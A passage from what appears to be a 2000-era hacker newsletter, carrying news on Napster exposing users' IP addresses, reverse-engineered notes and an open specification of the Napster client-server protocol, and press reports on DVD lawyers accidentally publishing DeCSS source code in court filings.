with Internet communications. Worldtalk products include
WorldSecure/Web and the award-winning WorldSecure/Mail
(previously known as WorldSecure Server), which are marketed and
sold worldwide by Worldtalk, Value Added Resellers (VARs) and
distributors. For more information, please visit us at
http://www.worldtalk.com.
About UPS
United Parcel Service, the world's largest express carrier and package
delivery company, is a leading commerce facilitator, offering an
unmatched array of traditional and electronic commerce services. By
offering fully integrated, web-enabled business-to-business solutions
and working with other e-commerce leaders, UPS is changing the way
people do business. The company has won numerous awards for its
Web site and information technology infrastructure, including two
Computerworld Smithsonian Awards. The Atlanta-based company
operates in more than 200 countries and employs more than 330,000
people worldwide. UPS reported 1998 annual revenues of $24.8 billion.
You can visit the UPS web site at www.ups.com.
For more information, contact:
Angela McMahon -
UPS - 404-828-6840
amcmahon@ups.com
Shannon Hakesley -
Worldtalk - 408-567-5141
shannon.hakesley@worldtalk.com
@HWA
61.0 HNN: Jan 27: Napster Reveals Users Info
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This seems like a very convenient and timely accident, I wonder if
it wasn't engineered or leaked. This is the reason I didn't register
with napster and haven't used it. Trust noone. - Ed
From HNN http://www.hackernews.com/
contributed by acopalyse
The popular MP3 trading software, Napster, may have a
security hole. Internet security consultant Richard
Smith, has found that Napster logs users' IP numbers.
This information could be used to help copyright owners
identify and try to prosecute Napster users who may be
illegally trading music files.
C|Net
http://news.cnet.com/news/0-1005-200-1532962.html?tag=st.ne.1002.bgif?st.ne.fd.gif.j
(BTW this link looks wacked out but it is legit - Ed)
Security problem discovered in Napster music software
By Paul Festa
Staff Writer, CNET News.com
January 26, 2000, 3:30 p.m. PT
Those who use Napster's popular software for trading digital music
files may not be as anonymous as they think they are.
Napster's program, which lets users see which digital music files
other users possess, also exposes their Internet Protocol addresses,
according to Internet security consultant Richard Smith. IP addresses
are unique strings of numbers that identify users' computers on the
Internet.
That could help copyright owners identify and try to prosecute Napster
users who may be illegally swapping music.
"Napster has a problem," he said. "It's serious in the sense that they
have exposed their users to legal risk."
Napster acknowledged the problem but minimized its importance, saying
that IP addresses are not easily procurable except by experienced
network experts or hackers, and that individual IP addresses are more
often than not obscured behind corporate or Internet service provider
firewalls and proxy servers.
"With our product, when you transfer from point to point, the IP address
is available to you," said Eddie Kessler, Napster's vice president of
engineering. "It's something that a hacker might have access to. In most
cases, tracing an individual user would not be possible, but it is possible."
Smith noted that IP addresses are traceable to individuals about a third of
the time.
Napster said it is working on hiding its users' IP addresses.
"We're evaluating various technologies that would provide an even higher
level of security to our users," Kessler said. "Specifically, they would
not make your IP address visible to the person who was downloading content
to you."
Kessler would not say when the company expects to implement those changes.
The trend in digital music copyright enforcement has been to target companies
and larger institutions like universities rather than individuals. Napster
itself is the target of a lawsuit by the Recording Industry Association of
America (RIAA), which accused the company of "facilitating piracy" through
its forum for letting online users trade unauthorized music files directly
from their PCs.
Another company under legal fire from the RIAA is music Web site MP3.com.
Smith said he discovered the Napster security flaw after examining the
documentation posted to the Web this week by Stanford University senior
David Weekly. Weekly's post irked Napster, which asked him to pull the page.
Weekly declined and encouraged the page's dissemination.
Today Kessler said the matter with Weekly will rest there.
"We're not going to play the DVD DeCSS game and try to shut it down,"
Kessler said, referring to the recent controversy over a piece of software
called DeCSS that lets users circumvent copyright controls on DVDs. The
Motion Picture Association of America has gone after sites to force them
to take down copies of the tool.
(Lets face it, if the fedz want to shut you down, you're toast they just
don't put this on a priority level high enough to assign their limited
man power to. There are bigger fish to fry, hackers aren't the only users
of sniffers and anyone can arp -a netstat -a to see active connections...)
@HWA
Following up on this here's Weekly's site url
http://david.weekly.org/
and here's the Napster breakdown (other info available on his site).
I was asked to take this article down, but I politely declined. Since then,
I've been informed that things will not escalate. For some strange reason,
this writeup got mentioned on slashdot and news.com, although why beats the
heck out of me.
Yet To Discover
How account setup is managed
Administrative commands
More details about sending/receiving files
When "User Error" or such messages are sent
january 26, 2000
corrected a few tidbits
january 23, 2000
initial document release
Network Configuration
Napster appears to have cubes at globalcenter and at AboveNet
Their main router at abovenet is 208.184.213.7
redirect servers: (server.napster.com:8875)
208.184.216.222
208.184.216.223
servers:
208.178.163.61 (globalcenter)
208.178.175.130-4 (globalcenter)
208.184.216.202,204-209,211-215,217-221 (abovenet @ sjc2:colo8)
208.49.239.242,7,8 (globalcenter)
ports: 4444,5555,6666,7777,8888
Interesting. Looks like their general strategy is to cluster in units
of 5 IP block (corresponding to grouped rackmounts?) with 5 sets of
port numbers for process redundancy on the servers. I bet they started
with GlobalCenter, but decided to move in with Abovenet at their SJC2
colocation facility, now that they have their stuff together. That's
where the organized clusters are. The Globalcenter unit looks like
it's not in California, but connected via an OC48 line to
Globalcenter's Herdon, VA node. (Thanks to Ben Byer!)
Protocol Breakdown
Initial Connection
DNS lookup server.napster.com
SYN (connect) -> 208.184.216.222
[connects port 8875 on server to 1876 locally]
RECEIVED 80 bytes of data: "208.49.239.247:5555" (zero-padded)
RECEIVED 6 0-bytes (Keepalive/synch)
RESPONDS with 2 0-size packets (ACK)
SYN (connect) -> 208.49.239.247
[connects port 5555 (surprise) to port 1877 locally]
SENT to server: 28 00 02 00 username password 23 "v2.0 BETA 5" 10 4398560
RECEIVED 6 0-bytes
RECEIVED 10 00 00 00 "Invalid Password"
RECEIVED 6 0-bytes
connects again to main server, who suggests 208.178.175.133:8888 this time (fails)
connects again to main server, who suggests 208.184.216.204 (succeeds)
RECIEVES
00 00
10 00 03 00 anon@napster.com
SENT 0A 00 0D 00 nuprin1715
RECEIVED 0E 00 D6 00 "979 147566 587"
Request for Chat List
SENT 00 00 69 02 (CHATLIST REQ)
RECEIVED
26 00 6A 02 "Lobby 33 Welcome to the Lobby channel" 2E
22 00 6A 02 "Rap 27 Welcome to the Rap channel 2E
23 00 6A 02 "Game 0 Welcome to the Game channel" 2E
24 00 6A 02 "Rock 14 Welcome to the Rock channel" 2E
35 00 6A 02 "International 1 Welcome to the International channel" 2E
...
35 00 6A 02 "RadioVersions 0 Welcome to the RadioVersions Channel" 2E
00 00 69 02 (CHATLIST REQ)
Joining a Channel
SENT
06 00 90 01 "Trance" (JOIN REQUEST)
RECEIVED
00 00 00 00 00 00 (SYNC)
06 00 95 01 "Trance" (JOIN GRANTED)
1B (string size) 00 98 01 "Trance username #songs conn#" (USER LISTING)
...
06 00 99 01 "Trance" (CHANNEL NAME)
25 00 9A 01 "Trance Welcome to the Trance channel" 2E (CHANNEL DESC)
connection types:
10 = T3 (or greater)
9 = T1
8 = DSL
7 = Cable modem
6 = 128k ISDN
5 = 64k ISDN
4 = 56k Modem
3 = 33.6 Modem
2 = 28.8 Modem
1 = 14.4 Modem
0 = Unknown
Talking on a Channel
SENT
0C 00 92 01 Trance hello
(size 00 92 01 channel message)
RECEIVED
12 00 93 01 Trance myusername hello
(size 00 93 01 channel user message)
Private Messages
SENT
0B 00 CD 00 myusername hello
(size 00 cd 00 touser message)
RECEIVED
0B 00 CD 00 myusername hello
(size 00 cd 00 fromuser message)
Whois Requests
SENT
05 00 5B 02 username
RECEIVED
3D 00 5C 02 username "User" 6025 "Trance " "Active" 127 0 0 10 "v2.0 BETA 5"
Leaving a Chat Room
SENT
06 00 91 01 Trance
RECEIVED
[6-byte ack]
Searching for Songs
SENT
41 00 C8 00
FILENAME CONTAINS "aaaa"
MAX_RESULTS 123
LINESPEED "AT BEST" 8
BITRATE "AT LEAST" "128"
FREQ "EQUAL TO" "32000"
RECEIVED
00 00 CA 00 00 00 (NO RESULT)
RECEIVED (on different query)
81 00 C9 00
"c:\WINDOWS\DESKTOP\mp3s\Nirvana-Lithium.mp3"
(32-byte checksum)
(size in bytes)
(bitrate in kbps)
(freq)
(duration in seconds)
(username)
(magic cookie - "643813570")
(line speed)
92 00 C9 00
"G:\Program Files\napster\Music\NIRVANA - Smells Like
Teen Spirit.mp3"
(32-byte checksum)
...
00 00 CA 00 00 00
[GASP!] Napster SENT the COMPLETE location of the file!!!!
Does this mean that there is a way to coax the client to offer up ANY file?
NOTE: ping time requirements not SENT to server (duh).
Hotlisting a User
SENT
0E 00 CF 00 username
RECEIVED
0E 00 2D 01 username (user is online)
10 00 D1 00 username (user added to hotlist)
Listing a User's Files
SENT
0E 00 D3 00 username
RECEIVED
85 00 D4 00 username
"D:\Nyhemladdade mp3 or\POWER-BEAT - Dance Club
Megamixes.mp3"
(32-byte checksum)
(size in bytes)
(kbps)
(freq)
(length in seconds)
...
(size) 00 D5 00 (username) (= END OF RESULTS)
Requesting a File
SENT
2A 00 CB 00 username
"C:\MP3\REM - Everybody Hurts.mp3"
RECEIVED
5D 00 CC 00 username
2965119704 (IP-address backward-form = A.B.C.D)
6699 (port)
"C:\MP3\REM - Everybody Hurts.mp3" (song)
(32-byte checksum)
(line speed)
[connect to A.B.C.D:6699]
RECEIVED from client
31 00 00 00 00 00
SENT to client
GET
RECEIVED from client
00 00 00 00 00 00
SENT to client
Myusername
"C:\MP3\REM - Everybody Hurts.mp3"
0 (port to connect to)
RECEIVED from client
(size in bytes)
SENT to server
00 00 DD 00 (give the go-ahead thru server)
RECEIVED from client
[DATA]
Sending a File
[no information yet]
General Packet Format
[chunksize] [chunkinfo] [data...]
CHUNKSIZE:
Intel-endian 16-bit integer
size of [data...] in bytes
CHUNKINFO: (hex)
Intel-endian 16-bit integer.
first byte:
00 - login rejected
02 - login requested
03 - login accepted
0D - challenge? (nuprin1715)
2D - added to hotlist
2E - browse error (user isn't online!)
2F - remove user from hotlist OR user is offline
5B - whois query
5C - whois result
5D - whois: user is offline!
69 - list all channels
6A - channel info
90 - join channel
91 - leave channel
92 - send text to channel
93 - receive text from channel
94 - user error
95 - join request granted
96 - user has joined channel
97 - user has left channel
98 - username entry for list
99 - channel name announcement
9A - channel description
C8 - send search query
C9 - query result
CA - end of query results
CB - request file
CC - download reply
CD - send/receive private message
CE - download error (they hung up!)
CF - add user to hotlist
D1 - user is online (on hotlist)
D3 - query user's file listings
D4 - listing entry
D5 - end of entries
D6 - update from server (SONGS USERS GIGABYTES)
DA - begin transmssion?
DD - starting to transmit?
F4 - Give push goahead (when connect port is 0)
When you're requesting a file from another client, and they ask
you to connect to port ZERO, they don't want you to pull the file
from them; they want to push the file to you directly. If you
receive this, send a 0-length F4 (Give Push Goahead) to the
Napster server, and the other client will connect to you.
(More tech info in next article - Ed)
@HWA
62.0 Dissecting the Napster system
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
More info following up from previous article
Source:http://opennap.sourceforge.net/napster.txt
napster messages
================
by drscholl@users.sourceforge.net
February 1, 2000
0. Forward
This is meant to be an open specification. If you find errors or know of
additional functionality not described hereafter, please send me email. It
benefits the entire community to have a complete and accurate protocol
specification. Not only does it allow for clients to be developed for any
platform, but also decreases the strain on the server having to parse out
bad client messages.
Disclaimer: the following information was gathered by analyzing the protocol
between the linux nap client and may not resemble the official windows client
protocol.
1. Client-Server protocol
each message to/from the server is in the form of
<length><type><data>
where <length> and <type> are 2 bytes each. <length> specifies the length in
bytes of the <data> portion of the message. Be aware that <length> and <type>
appear to be in little-endian format (least significant byte goes first). For
example, in the C language you would encode the number 1 as
const unsigned char num[2] = { 0x01, 0x00 };
and 256 would be encoded as
const unsigned char num[2] = { 0x00, 0x01 };
[The above is for illustrative purposes only, there are much quicker ways to
actually encode a number. -ed]
Note that in many cases, strings are passed as double-quoted entries. For
example, filenames and client id strings are always sent as
"random band - generic cowboy song.mp3"
or
"nap v0.8"
Where required, double quotes are used in the description of the messages
below.
Some additional information about use of quotes inside of quotes:
> The answer is, no, it doesn't do escaping of quotes. If you try searching
> for the phrase 'a "quoted" string' on the windows client, you get no songs
> found, and "invalid search request" printed in yellow in your console
> window. (don't know what code that is, sorry.)
>
> and no wonder-- a little birdie told me that the client sends this:
>
> FILENAME CONTAINS "a "quoted" string" MAX_RESULTS 100
[contributed by Ben Byer <bbyer@rice.edu>. -ed]
Note that unlike the IRC protocol, each line does NOT end in \r\n. The
<length> field specifies exactly how much data you should read.
2. Message Types
The following section describes the format of the <data> section for each
specific message type. Each field is denoted with <>. The fields in a
message are separated by a single space character (ASCII 32). Where
appropriate, examples of the <data> section for each message are given.
<type> can be one of the following (converted to big-endian):
0 error message [SERVER]
<message>
2 client login message [CLIENT]
<username> <password> <port> "<client-info>" <link-type>
<port> is the port the client is listening on for data transfer. if
this value is 0, it means that the client is behind a firewall
and can only push files outward. it is expected that requests
for downloads be made using the 500 message (see below)
<client-info> is a string containing the client version info
<link-type> is an integer indicating the client's bandwidth
0 unknown
1 14.4 kbps
2 28.8 kpbs
3 33.6 kbps
4 56.7 kbps
5 64K ISDN
6 128K ISDN
7 Cable
8 DSL
9 T1
10 T3 or greater
Example:
foo badpass 6699 "nap v0.8" 3
3 login ack [SERVER]
<email>
the server sends this message to the client after a succesful
login (2). If the nick is registered, the <email> address given at
registration time is returned. If the nick is not registered, a
dummy value is returned.
4 ??? [CLIENT]
<n>
the latest napster v2.0beta5a sends this prior to login.
6 alternate login format [CLIENT]
this message is used when logging in for the first time after
registering (0x07) a nick
<nick> <pass> <port> "<client-info>" <linkspeed> <email-address>
note: this message is similar to the 0x02 message, with the addition
of <email-address> on the end
Example:
foo foo 6699 "nap v0.8" 3 email@here.com
7 client registration message [CLIENT]
<nick>
this message is sent to create an account
response to this message is one of 8, 9 or 10
8 registration success [SERVER]
the server sends this when the clients request to register a new
nickname has succeeded.
9 nickname already registered [SERVER]
the server sends this message when the nickname the client has
requested has already been registered by another user
10 invalid nickname [SERVER]
this server sends this message when the client attempts register
an invalid nickname [what defines an invalid nickname? -ed]
11 ??? [CLIENT]
[returns "parameters are unparsable" -ed]
14 login options [CLIENT]
NAME:%s ADDRESS:%s CITY:%s STATE:%s PHONE:%s AGE:%s INCOME:%s EDUCATION:%s
100 client notification of shared file [CLIENT]
"<filename>" <md5> <size> <bitrate> <frequency> <time>
<md5> see section "MD5"
<size> is bytes
<bitrate> is kbps
<frequency> is hz
<time> is seconds
Example:
"generic band - generic song.mp3" b92870e0d41bc8e698cf2f0a1ddfeac7 443332 128 44100 60
102 remove file [CLIENT]
<filename>
client requests to remove file from shared library
200 client search request [CLIENT]
[FILENAME CONTAINS "artist name"] MAX_RESULTS <max> [FILENAME CONTAINS
"song"] [LINESPEED <compare> <link-type>] [BITRATE <compare> "<br>"] [FREQ
<compare> "<freq>"]
The artist name and the song name are, obviously, treated
the same by the server; confirm this for yourself
on the windows client.
max is a number; if it is greater than 100, the server will
only return 100 results.
<compare> is one of the following:
"AT LEAST" "AT BEST" "EQUAL TO"
<link-type> see 0x02 (client login) for a description
<br> is a number, in kbps
<freq> is a sample frequency, in Hz
The windows client filters by ping time inside the client.
It pretty much has to, and it's easy to see the
result by setting ping time to at best 100 ms or
so, and max search terms to 50. You'll get back
like 3 results, but the client will still tell you
that it found "50 results".
Examples:
FILENAME CONTAINS "Sneaker Pimps" MAX_RESULTS 75 FILENAME
CONTAINS "tesko suicide" BITRATE "AT LEAST" "128"
MAX_RESULTS 100 FILENAME CONTAINS "Ventolin" LINESPEED
"EQUAL TO" 10
[Thanks to Ben Byer <bbyer@rice.edu> for this contribution. -ed]
201 search response [SERVER]
"<filename>" <md5> <size> <bitrate> <frequency> <length> <nick> <ip> <link-type>
<md5> see secton "MD5"
<size> is file size in bytes
<bitrate> is mp3 bit rate in kbps
<frequency> is sample rate in hz
<length> is the play length of the mp3 in seconds
<nick> the person sharing the file
<ip> is an unsigned long integer representing the ip address of the
user with this file
<link-type> see message client login (2) message for a description
Example:
"random band - random song.mp3" 7d733c1e7419674744768db71bff8bcd 2558199 128 44100 159 lefty 3437166285 4
202 end of search response from server [SERVER]
no data.
203 download request [CLIENT]
<nick> "<filename>"
client requests to download <filename> from <nick>. client expects
to make an outgoing connection to <nick> on their specified data
port.
Example:
mred "C:\Program Files\Napster\generic cowboy song.mp3"
SEE ALSO: 500 alternate download request
204 download ack [SERVER]
<nick> <ip> <port> "<filename>" <md5> <linespeed>
server sends this message in response to a 203 request.
<nick> is the user who has the file
<ip> is an unsigned long integer representing the ip address
<port> is the port <nick> is listening on
<filename> is the file to retrieve
<md5> is the md5 sum
<linespeed> is the user's connection speed (see login(2))
Example:
lefty 4877911892 6699 "generic band - generic song.mp3" 10fe9e623b1962da85eea61df7ac1f69 3
205 private message to/from another user [CLIENT, SERVER]
<nick> <message>
note the same type is used for a client sending a msg or recieving one
[Commentary: this message causes problems if you consider linking
servers together. With the current one server situation, the server
just rewrites the message it receives with the name of the client that
sent it and passes it to the recipient client. However, in the case
where the recipient and sender are not on the same server, there is
loss of information without encapsulating it. It would have been
better to put both the sender and recipient because if the servers
are ever linked they will have to make a new message type for this
situation. -ed]
206 get error [SERVER]
<nick> <filename>
the server sends this message when the file that the user has
requested to download is unavailable (such as the user is not logged
in).
207 add hotlist entry [CLIENT]
<user>
client is requesting notification when <user> logs in or out.
209 user signon [SERVER]
<user> <speed>
server is notifying client that a user in their hotlist, <user>,
has signed on the server with link <speed>
210 user signoff [SERVER]
<user>
server is notifying client that a user on their hotlist, <user>, has
signed off the server.
this message is also sent by the server when the client attempts to
browse a nonexistent client. [why don't they just use 404 for
this? -ed]
211 browse a user's files [CLIENT]
<nick>
the client sends this message when it wants to get a list of the files
shared by a specific client
212 browse response [SERVER]
<nick> "<filename>" <md5> <size> <bitrate> <frequency> <time>
<nick> is the user contributing the file
<filename> is the mp3 file contributed
<md5> is the has of the mp3 file
<size> is the file size in bytes
<bitrate> is the mp3 bitrate in kbps
<frequence> is the sampling frequency in Hz
<time> is the play time in seconds
Example:
foouser "generic band - generic song.mp3" b92870e0d41bc8e698cf2f0a1ddfeac7 443332 128 44100 60
213 end of browse list [SERVER]
<nick>
indicates no more entries in the browse list for <user>
214 server stats [CLIENT, SERVER]
client: no data
server: <users> <# files> <size>
<size> is approximate total library size in gigabytes
this message is sent by the server occasionaly without request
Example:
553 64692 254
215 request resume [CLIENT]
<checksum> <filesize>
client is requesting a list of all users which have the file with
the characteristics. the server responds with a list of 216 messages
for each match, followed by a 217 message to terminate the list
216 resume search response [SERVER]
<user> <ip> <port> <filename> <checksum> <size> <speed>
this message contains the matches for the resume request (215). the
list is terminated by a 217 message.
217 end of resume search list [SERVER]
no data.
this messag terminates a list of 216 messages initiated by a 215
client request
218 downloading file [CLIENT]
no body.
client sends this message to the server to indicate they are in the
process of downloading a file. this adds 1 to the download count
which the server maintains.
219 download complete [CLIENT]
no body.
client sends this message to the server to indicate they have
completed the file for which a prior 218 message was sent. this
subtracts one from the download count the server maintains
220 uploading file [CLIENT]
no body.
client sends this message to indicate they are uploading a file.
this adds one to the upload count maintained by the server.
221 upload complete [CLIENT]
no body.
client sends this message when they are finished uploading a file.
this subtracts one from the upload count maintained by the server.
301 hotlist ack [SERVER]
<user>
server is notifying client that <user> has successfully be added to
their hotlist
302 hotlist error [SERVER]
<user>
server is notifying client that it was unable to add <user> to their
hotlist. [can you only add registered nicks to your hotlist? -ed]
303 remove user from hotlist [CLIENT]
<user>
client is notifying the server that it no longer wishes to request
notifications about <user> when they sign on or off the server. no
response is sent in return.
400 join channel [CLIENT]
<channel-name>
the client sends this command to join a channel
401 part channel [CLIENT]
<channel-name>
the client sends this command to part a channel
402 send public message [CLIENT]
<channel> <message>
403 public message [SERVER]
<channel> <nick> <text>
this message is sent by the server when a client sends a public message
to a channel.
Example:
80's espinozaf hello...hola
404 user/channel does not exist [SERVER]
<error-message>
This message is sent to the client when the client has requested an
operation on another client or channel which is invalid.
Examples:
User nosuchuser is not currently online.
Channel #nosuchchannel does not exist!
permission denied
ping failed, shtien is not online
405 join acknowledge [SERVER]
<channel>
the server sends this message to the client to acknowlege that it
has joined the requested channel (400)
406 join message [SERVER]
<channel> <user> <sharing> <link-type>
<user> has joined <channel>
Example:
80's WilmaFlinstone 12 2
407 user parted channel [SERVER]
<channel> <nick> <sharing> <linespeed>
Example:
80's DLongley 23 7
408 channel user list entry [SERVER]
this message is identical to the join (406) message. the server will
send the list of users in the channel prior to the client join command
in this message. joins that occur after the client has joined will
be noted by a 406 message.
409 end of channel user list [SERVER]
<channel>
this message is sent by the server to indicate it has sent all informati about the users in a channel
410 channel topic [CLIENT, SERVER]
<channel> <topic>
sent when joining a channel or a new topic is set. a client requesting
topic change also uses this message.
[why didn't they put a field to indicate WHO changed the topic? as
it is now you can only tell that it was changed. -ed]
500 alternate download request [CLIENT]
<nick> "<filename>"
requests that <nick> make an outgoing connection to the requesters
client and send <filename>. this message is for use when the
person sharing the file can only make an outgoing tcp connection
because of firewalls blocking incoming messages. this message should
be used to request files from users who have specified their data
port as 0 in their login message
501 alternate download ack [SERVER]
<nick> <ip> <port> "<filename>" <md5> <speed>
this message is sent to the uploader when their data port is set to
0 to indicate they are behind a firewall and need to push all data
outware. the uploader is responsible for connecting to the
downloader to transfer the file.
600 request user's link speed [CLIENT]
<nick>
601 link speed response [SERVER]
<nick> <linespeed>
603 whois request [CLIENT]
<nick>
604 whois response [SERVER]
<nick> "<user-level>" <time> "<channels>" <status> <shared>
<downloads> <uploads> <link-type> "<client-info>" [ <total uploads>
<total_downloads> <ip> <connecting port> <data port> <email> ]
<user-level> is one of "User" or "Admin"
<time> is seconds this user has been connected
<channels> is the list of channels the client is a member of, each
separated by a space (ASCII 32)
<status> is one of "Active." or "Inactive." if they are on or offline
<shared> is number of files user has available for download
<downloads> is the current number of downloads in progress
<uploads> is the current number of uploads in progress
<link-type> see 0x02 (client login) above
<client-info> see 0x02 (client login) above
The following fields are displayed for user level moderator and
above:
<total uploads>
<total downloads>
<ip> note: can be "unavailable"
<connecting port>
<data port>
<email> note: can be unavailable
Example:
lefty "User" 1203 "80's " "Active" 0 0 0 3 "nap v0.8"
605 whowas response [SERVER]
<user> <level> <last-seen>
if the user listed in a 603 request is not currently online, the
server sends this message.
<user> is the user for which information was requested
<level> is the user's last known userlevel (user/mod/admin)
<last-seen> is the last time at which this user was seen, measured
as seconds since 12:00am on January 1, 1970 (UNIX time_t).
606 change user level [CLIENT]
<nick> <level>
changes the privileges for <nick> to <level>. client must be admin
level to execute this request
[I have not verified this message since I don't have admin status
on any of the servers. -ed]
607 upload request [CLIENT]
<nick> "<filename>"
this message is used to notify the client that user <nick> has
requested upload of <filename>
Example:
lefty "generic band - generic song.mp3"
608 accept upload request [CLIENT]
<nick> "<filename>"
client is notifying server that upload of <filename> to <nick> is
accepted, and that the requesting client may begin download
Example:
lefty "generic band - generic song.mp3"
610 kill (disconnect) a user [CLIENT]
<nick>
client request to disconnect a user. client must be "Admin" level to
execute this command
611 nuke a user [CLIENT]
<nick>
client request to delete account for <nick>
612 ban user [CLIENT]
613 set data port for user [CLIENT]
614 unban user [CLIENT]
615 show bans for server [CLIENT]
client requests the list of banned ips for the current server
616 ip ban notification [SERVER]
<ip> <nick> "<reason>" <time>
<ip> is the string version of the ip banned
<nick> is the user setting the ban
<reason> is the reason given
<time> is the time_t when the ban was set
This message is sent in response to the 615 client request, one
for each ban.
Example:
207.172.245. valkyrie "" 947304224
617 list channels [CLIENT, SERVER]
no data.
client requests a list of channels on the server. server responds
with 618/617
server indicates end of channel list using this message.
618 channel list entry [SERVER]
<channel-name> <number-of-users> <topic>
this is the server response to a 617 client request, one for each
channel.
Example:
Help 50 OpenNap help channel
620 ??? [SERVER]
<nick> "<filename>" <filesize> <digit>
621 message of the day. sent after client login [SERVER]
<motd-text>
each 621 message contains a single line of text
622 muzzle a user [CLIENT]
<nick> [ <reason> ]
client requests that <nick> not be allowed to send public messages
623 unmuzzle a user [CLIENT]
<nick>
client requests that the enforced silence on <nick> be lifted
624 un-nuke a user
625 change a user's linespeed
626 data port error
<user>
client is informing server that it was unable to connect to the data
port for <user>
627 operator message [CLIENT, SERVER]
client: <text>
server: <nick> <text>
client request to send a message to all admins/moderators
628 global message [CLIENT, SERVER]
client: <text>
server: <nick> <text>
client request send a message to all users
629 banned users [SERVER]
<nick>
when displaying the ban list for the server, this message is used
to indicate banned nicknames.
700 change link speed [CLIENT]
<speed>
client is notifying server that its correct link speed is <speed>,
in the range 0-10 (see the login message for details).
702 change email address [CLIENT]
<email address>
client wishes to change their email address
703 change data port [CLIENT]
<port>
client is changing the data port being listened on for file
transfers
751 ping user [CLIENT, SERVER]
<user>
client is attempting to determine if <user>'s connection is alive
752 pong response [CLIENT, SERVER]
<user>
this message is sent in response to the the 751 (PING) requeset
753 ???
[returns permission denied. -ed]
800 reload config [CLIENT]
<config variable>
resets configuration parameter to its default value
801 server version [CLIENT]
no data.
client request's a server's version
810 set config [CLIENT]
<config string>
request a change in server configuration variables
820 clear channel
<channel>
[what does this do? -ed]
821 ???
822 ???
823 ???
824 ???
825 user list entry [SERVER]
<channel> <user> <files shared> <speed>
an 825 message is sent for each user in the channel specified by the
830 message
Example:
Help testor3 0 3
[This appears to be exactly the same format as the 408 message. -ed]
826 ???
827 ???
830 list users in channel [CLIENT, SERVER]
<channel>
client requests a list of all users in <channel>. server responds
with a 825 response for each user, followed by an 830 response with
no data [why didn't they just use the 409 message? -ed]
3. MD5
It looks like the vast majority of the files are hashed using the first
299,008 bytes of the file. There have been some cases where the hash
matches at 300,032 bytes, but no correlation has been drawn as to when that
happens. The speculation at this point is that it might have to do with
the existence of a ID3v2 tag, or perhaps the file was sampled at 48kHz...?
Note: the linux nap client (versions 0.7 - 0.9) seem to hash exactly 300,000
bytes, which is NOT what the official windows client does.
4. Where to get more help?
Join the napdev mailing list by sending email to napdev-subscribe@onelist.com
or by visiting the community page http://www.onelist.com/community/napdev/.
This list is designed for open source napster developers to share information
about the specification or applications.
5. Acknowledgements
A big THANKS goes to the following people who contributed valuable information
to this specification:
Ben Byer <bbyer@rice.edu>
JT <jtraub@dragoncat.net>
Evan Martin <eeyem@u.washington.edu>
Colten Edwards (aka panasync@efnet) <edwards@bitchx.dimension6.com>
@HWA
63.0 HNN: Jan 27: DVD Lawyers Shut Down Courthouse
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Code Kid
Santa Clara County Superior Court Judge William Elfving
has sealed the court documents filed by the DVD Copy
Control Association because they contain the source
code to the DeCSS program. The documents have been
publicly available for the last two weeks and have been
posted to the internet. Some lawyers have noted that
by failing to file the documents under seal from the
beginning may jeopardize the plaintiff's case.
C|Net
http://news.cnet.com/news/0-1005-200-1533048.html?tag=st.ne.1002.bgif.1005-200-1533048
Wired
http://www.wired.com/news/politics/0,1283,33922,00.html
C|Net;
DVD lawyers spill "secret" code
By Evan Hansen
Staff Writer, CNET News.com
January 26, 2000, 4:10 p.m. PT
A digital rights licensing group seeking to ban the controversial DVD
decryption program known as DeCSS has shut down yet another potential
distributor: a California state courthouse.
Santa Clara County Superior Court Judge William Elfving today placed under
seal source code submitted in a trade secrets case filed by the DVD Copy
Control Association against 72 Web sites and individuals earlier this
month.
The order for now erases an embarrassing gaffe by attorneys for the group,
which is seeking to stop the defendants from publishing or linking to the
very same program on the Internet. It was unclear whether the apparent
slip-up could have deeper consequences for the case.
Court papers are generally considered public documents, available to
anyone for the asking. Although parties in a case can file a request with
the court to make sensitive documents off-limits, the Copy Control
Association's attorneys apparently filed the request only after
openly submitting the source code as a supporting document to the
complaint.
As a result, the document has been legally available at the courthouse for
the past two weeks. But the document was lifted from the court and made
available on the Internet at the Cryptome.org Web site.
The association's lead attorney in the case, Jeffrey Kessler of the New
York law firm Weil, Gotshal & Manges, called today's ruling a non-event.
"Everyone knew (the exhibit) would be placed under seal," he said. Kessler
declined to elaborate on how the exhibit was introduced in the case,
saying only that after today's decision the issue "has no further
significance whatsoever."
But lawyers for the defense and intellectual property attorneys uninvolved
in the case said the gaffe could hurt the plaintiffs' case.
"It sounds like the plaintiffs goofed," said Judy Jennison, head of
Perkins Coie's Silicon Valley intellectual property litigation practice
and an experienced trade secrets trial attorney who is not involved in the
case. "If they didn't file it under seal, they could be seen to have
given up the their (trade secret) rights."
Attorney Allonn Levy, who is representing defendant Andrew Bunner in the
case, agreed. Even if the document was inadvertently made public, he said,
it could jeopardize the trade secret status of the material.
"Anyone could have copied out the trade secrets from the file before it
was sealed," he said, although he added that he did not know whether
anyone had done so. "That raises a serious question of whether that
material is protectable."
According to defendants in the case, DeCSS was created by legal reverse
engineering techniques to allow DVDs to be played on the Linux platform.
Since its release, however, the film industry has vilified the program as
an illegal hack aimed at producing illegal copies of DVD movies.
In addition to the Copy Control Association's suit in California, member
companies of the Motion Picture Association of America (MPAA) filed a
lawsuit in New York against individuals for alleged violations of the
Digital Millenium Copyright Act.
The judges in both cases have issued preliminary injunctions prohibiting
the defendants from posting the code throughout the trials' durations.
The Electronic Frontier Foundation, which is defending the parties in both
cases, argues that people have a right to discuss the "the technical
insecurity of DVD" and to demonstrate their points through reverse
engineering.
The DVD association was formed in December of last year by member companies
of the MPAA, the Business Software Alliance and the Electronic Industries
Alliance to license out the DVD Content Scrambling System.
News.com's Courtney Macavinta contributed to this report.
-=-
Wired;
DVD Lawyers Make Secret Public
by Declan McCullagh
3:05 p.m. 26.Jan.2000 PST
Lawyers representing the DVD industry got caught in an embarrassing gaffe
when they filed a lawsuit and accidentally publicized the computer code
they wanted to keep secret.
The DVD Copy Control Association included its "trade secret" source code
in court documents, but forgot to ask the judge to seal them from public
scrutiny.
Whoops.
In a hastily arranged hearing Wednesday morning, DVD CCA lawyers asked
Santa Clara Superior Court Judge William J. Elfving to correct their
oversight, and he agreed to keep the document confidential.
It may be a little late. The document is dated 13 January and is widely
available on the Web. The owner of one site that placed the 140KB
declaration online says over 21,000 people have downloaded it so far.
The 11KB "CSSscramble" source code, part of the larger declaration of DVD
CCA president John Hoy, cannot be readily compiled into a DVD viewer or
copier.
But if it had not been released online last October, the DVD encryption
